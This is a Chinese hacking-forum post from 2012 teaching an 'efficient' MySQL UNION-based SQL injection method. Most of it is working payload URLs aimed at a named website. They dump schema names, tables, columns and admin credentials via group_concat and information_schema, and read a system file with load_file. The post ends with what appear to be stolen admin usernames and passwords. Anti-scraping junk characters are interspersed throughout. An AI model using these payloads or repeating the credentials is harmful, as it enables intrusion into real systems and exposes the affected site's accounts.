找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2700|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似8 q, B1 Z6 {* x
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人' |9 P; A7 M- W8 t! F" V4 f

& k! @# s6 W# H* o8 K  r( q( v+ f  S$ M& r( U
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
# d& f# ?0 G3 I4 @; [
# X* s$ g! f* z% a! O6 m缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
4 G; v3 X- v3 @" U: Y# e' w
' ]' l, z, y& a  U, r$ v8 V  S下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
; n: i4 j; G1 s( [, v; X4 n6 a在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等
+ w8 W4 t6 n& X2 T+ m3 G# N% s% e, F# C4 |( }- S4 a3 x. c
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
5 s2 n$ K9 ?: h2 i( D( P7 y6 F0 N9 d1 a8 f! S8 l( Y( a+ o& `2 B
读出所有库:
% K; v0 a" p5 J* A$ Q& r# khttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA$ C& {( q' {6 L5 s) ^3 ~# A
7 i) u7 y- n9 z  j6 {

! d3 W# a0 t) e* G5 l9 w! \$ i" |1 X2 a# S' s  p
读出所有表:$ a3 a! I; O  d+ X2 X5 k" T
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
& z) u5 R% |2 `; r. u/ b
3 N. c# k( K3 ]读出所有表字段:
  X0 i, u: ]& Bhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)5 g7 b3 K( \2 l
*/ (97,100,109,105,110)为admin的ascii码 依次类推
+ ]7 B- K* `" [* S/ f
0 S- M# V/ |" h% T% v* ^6 q7 C9 i读出所有表字段里的内容:& }8 ^' D( C. d0 x( ~: K
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin# R7 @6 x( w6 d7 S% p
( q/ a4 L( {) P' U: l% b9 h3 [

% ~, [* O) _' m" n8 G4 U5 n* A  e, E/ l! r; y6 x  Y0 X0 ^3 K4 X

& X1 E/ F1 E' M9 t5 T8 F  |
5 g+ C7 C# w' r) O+ K4 O
4 M9 G+ Y. X* x) N$ ~" ~http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
6 l1 x% y3 x; |/ Z0 x8 |- q' I2 T3 T  }+ J0 i
- P) U0 l8 M# b# F8 A; Y
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
# Z) @, G5 E8 ^) b/ [" r' I. W  Z
. M- h7 k' [  F1 l6 @! @http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23/ O1 A- \& T) ~" Y& K6 q7 N; y

* a  {) P. ?' Q, X" V+ V: H
' f" U% j- b. l7 b: I2 Fhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
+ t$ D; k" M# J6 I; T& ]4 K8 `- q7 ?; a% P0 t  C4 L3 G# o
+ V& Z# K8 G/ e; F, ^
        webmaster:dzb521123,simlab:simadmin20043233# j! B! R" w3 J3 ~& e+ Q  ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表